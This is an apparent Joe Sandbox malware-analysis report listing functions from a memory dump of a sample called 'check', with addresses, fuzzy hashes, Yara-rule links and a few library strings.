Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: e57f1980f4491aea9eb328a1e81193c2bccc9a7e68d1918bb9b7207cf9600634
Instruction ID: e0c0f04da2b36f5ea26e70c58289f7bce84c50d6dbceed31c930ca3f9ac04dcf
Opcode Fuzzy Hash: e57f1980f4491aea9eb328a1e81193c2bccc9a7e68d1918bb9b7207cf9600634
Instruction Fuzzy Hash: B4E19D36A0CE4686EB68AE2990501BD37B0EF65F6CF345235DE0E87795DF29E861C700

Function 00007FF61C4CA2DB Relevance: 2.7, Strings: 2, Instructions: 216COMMON

Download Yara Rule

Strings

incorrect header check, xrefs: 00007FF61C4CA45B
invalid window size, xrefs: 00007FF61C4CA442

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: 7e7bac63e97a7e962ac1d8bc37368dc0e110af78d4507200a91f80e7c7b94e68
Instruction ID: 522c66631ef3840d8a037e5223ae31c009debe814d5b4bae4bca11bb66778431
Opcode Fuzzy Hash: 7e7bac63e97a7e962ac1d8bc37368dc0e110af78d4507200a91f80e7c7b94e68
Instruction Fuzzy Hash: 4D91B972A1CAC587E7A48E14C45DBBE3A99FF44768F214139DA4AC67A0CF3CE554CB04

Function 00007FF61C4DDEF0 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

e+000, xrefs: 00007FF61C4DDFFD
gfff, xrefs: 00007FF61C4DE07A

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: c8a24eaff8c968987b4d031b15ae93849e98bcf9eddb8930961e84febef9b5bc
Instruction ID: 66d1bce2f74f533853ff7f6d3a5dd4b25b6b028e3998192d6b61caf822758408
Opcode Fuzzy Hash: c8a24eaff8c968987b4d031b15ae93849e98bcf9eddb8930961e84febef9b5bc
Instruction Fuzzy Hash: 7C516762B1CAD186E725DE39D8017BD6B91E764FA8F688235CB9C87AC5CE3DD050C702

Function 00007FF61C4DDA5C Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF61C4DDD9E

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction ID: 5bb2ceb1483d1c1fea1af05ba34fc52379a4037ef8b7c560c0c32d01c7acff4d
Opcode Fuzzy Hash: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction Fuzzy Hash: 79A14662A0CBC946EB21DF25A4007FD7B91AB65FA8F258031DE8D87785DE3DE411C712

Function 00007FF61C4D8794 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF61C4D87B3

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: 09cdd7cf7fc9e7e425d724a32e8c9d3bd5c12dba7606eca5b930980d9b4d1239
Instruction ID: fe6d5a6db6536213e6c9b27fbdc0b2cccd67e6422ae4f3066e128aeb043b71de
Opcode Fuzzy Hash: 09cdd7cf7fc9e7e425d724a32e8c9d3bd5c12dba7606eca5b930980d9b4d1239
Instruction Fuzzy Hash: 5C516C11B0CA4241FB64BA2659011FE5290AF64FFCF695434EE5EC7796EE3CE4A28384

Function 00007FF61C4E3480 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF61C4E3484

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction ID: 8e1e824f4fa64526191eb8d97a11cddb2b87d0240b5b68298d0f2be2fc0ba957
Opcode Fuzzy Hash: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction Fuzzy Hash: C4B09220E0BE02C2EA096B226C8A25D23A47F48F24FA90138C00CC0330DE2C20F55710

Function 00007FF61C4D35A0 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eca4e5ff3e7205525bf20f3b63783aa462e3e7adb0228d62bb7e98ab9f5e9bb
Instruction ID: 1f03b29157620328d82c10972d1400c81abf7b0b838d6e36d8791e9b5ff8804f
Opcode Fuzzy Hash: 5eca4e5ff3e7205525bf20f3b63783aa462e3e7adb0228d62bb7e98ab9f5e9bb
Instruction Fuzzy Hash: 3FD1AF66A0CE4286EB78AA2980542BD27B0AB25F7CF344235DE0D87795DF39E865C740

Function 00007FF61C4C9800 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e75d751cc15dfd510e55d83c6141b0e8cb11d18cbed01e0c543b372a0114c593
Instruction ID: 0cb54a96b93723cc3264465ac33cc3d609a11ff0192069f5caa31328316b541b
Opcode Fuzzy Hash: e75d751cc15dfd510e55d83c6141b0e8cb11d18cbed01e0c543b372a0114c593
Instruction Fuzzy Hash: E7C18D762181E08BD28AEB29E4794BA73E1F78930DB95406BEF87477C5CB3CA514DB10

Function 00007FF61C4D2C10 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa73bfa000bc8cd66a05f12d530b76a597660d7bda6a6781f52cf2f49ffced0b
Instruction ID: 23a4daa79659732505e1d7d49c0b86159ef757d1953c0a3255a1afa0790dd1c9
Opcode Fuzzy Hash: aa73bfa000bc8cd66a05f12d530b76a597660d7bda6a6781f52cf2f49ffced0b
Instruction Fuzzy Hash: BCB16B72A0CA9686E7749F29C0502BC3BA0E769F6CF344236CA4E87395CF39D861D745

Function 00007FF61C4DE570 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9611c2e0762efa78d7f6da3d8515592aa8d86601c49200b7335873453b670326
Instruction ID: edeff07c19ad3f03c1b9e07b08b62f16d4d8dc0c01f3af081b80e9e96e007d86
Opcode Fuzzy Hash: 9611c2e0762efa78d7f6da3d8515592aa8d86601c49200b7335873453b670326
Instruction Fuzzy Hash: 3781E672A0CB8186E774DF1994403BE7691FB65BA8F604235EA8D83B85DF3CE450CB00

Function 00007FF61C4E6418 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 403f67b08c5d8b9127b9d27d37b93e2a1e0a746a19683c5483168a42cc689f1f
Instruction ID: ce1522a035ecb3247761fdddc9c3bfdde3573cb1faba317e3c6203d9175c437b
Opcode Fuzzy Hash: 403f67b08c5d8b9127b9d27d37b93e2a1e0a746a19683c5483168a42cc689f1f
Instruction Fuzzy Hash: EA610722F1CA9646F764CA3A94106FD6780AF50F78F360639D61EC6AC5DE6DE820C700

Function 00007FF61C4D1D54 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction ID: 2832febd72fad7502b991bb24cb6a459d8b6c1e649f477ba7765274deea323d6
Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction Fuzzy Hash: A5514C76A1CA5282EB649B69C0442BC33A1EB65F7CF344135DE4D97794CF2AE862C740

Function 00007FF61C4D1944 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction ID: f636536c94c557552b1054949f87e49254ad89d2899fefa10ef43a071fd6fdf7
Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction Fuzzy Hash: 0F517B76A1CA5182E7249B69C0402BC27A1EB65F7CF384171CE8D977A4CF3AE863C740

Function 00007FF61C4D2164 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction ID: 6b7d2c05fe6e237bc102e3064ff7c31889073c40f4a088f258d1c1cb8abf0ed9
Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction Fuzzy Hash: 87514D36A1CA5286E7749B29C4442BC23A1EB65F7CF348131DA4D97794CF2AEC63C740

Function 00007FF61C4D1740 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction ID: 646bb33a10d69594dfef99bc51406d21e4cc23d329450b1c45247d3036079011
Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction Fuzzy Hash: 60516F36E1CA5186E7249B69C0446BC27A1EB65F7CF344131DE4D977A4CF3AE8A2C780

Function 00007FF61C4D1F60 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction ID: 0ce9e324df1c1aa85fcd5b72c4a682fbe97f2d39c3f433d76c926d11edb91caf
Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction Fuzzy Hash: 75513A36A1CA5185E7259B29C0442BC27A1EB69F7CF344135CE4C977A5CF2AEC62C740

Function 00007FF61C4D1B50 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction ID: 003b562c3a19939ca09f57e33f445af27f01c121d43c83b1ae57fbe03772fc26
Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction Fuzzy Hash: 4F517036A1CA5186EB249F69D0402BC2BA1EB65F7CF345131CE4C977A4DF3AE862C740

Function 00007FF61C4D5D30 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: afeecf9dc5a635f26185673d08988e770acf94e6814f2fe9df9acbf09a096336
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: 954191E280DF4B05EB99AE1805086FC16909F32FB9D7892B4DDAD973C7CD0D65A6C350

Function 00007FF61C4D9EA0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 1c7003d4bfacf113f63307708dabd17e5ede6cda44dccf6aa27d02a6b9ea0481
Instruction ID: a5773df54550e2ed7cfea87dcaf2ce0a8a0156536aa856f73bbc046e5ba5c642
Opcode Fuzzy Hash: 1c7003d4bfacf113f63307708dabd17e5ede6cda44dccf6aa27d02a6b9ea0481
Instruction Fuzzy Hash: 8E410522718E5586EF04CF2AD9146BD73A2BB58FE4B599436EE0DD7B54DE3CD0528300

Function 00007FF61C4D80E4 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
Instruction ID: 0755bad962312216ce46f6f8ff51fb2de828b5fcc1c9291ca236a8860973afa6
Opcode Fuzzy Hash: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
Instruction Fuzzy Hash: 8D31A632B1DF4241E764EF2668411BDAAD5AB85FE4F244238EA9D93BD5DF3CD0228704

Function 00007FF61C4E9570 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction ID: 7329f4fdc7b1578f8fa9a318daca79b83946f27bb8ac3e79ac107b06b878cba8
Opcode Fuzzy Hash: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction Fuzzy Hash: 24F044717286958ADB988F69A4426AA77D0F708794F60903DD58DC3A14DE3C9071CF04

Function 00007FF61C4CD30C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
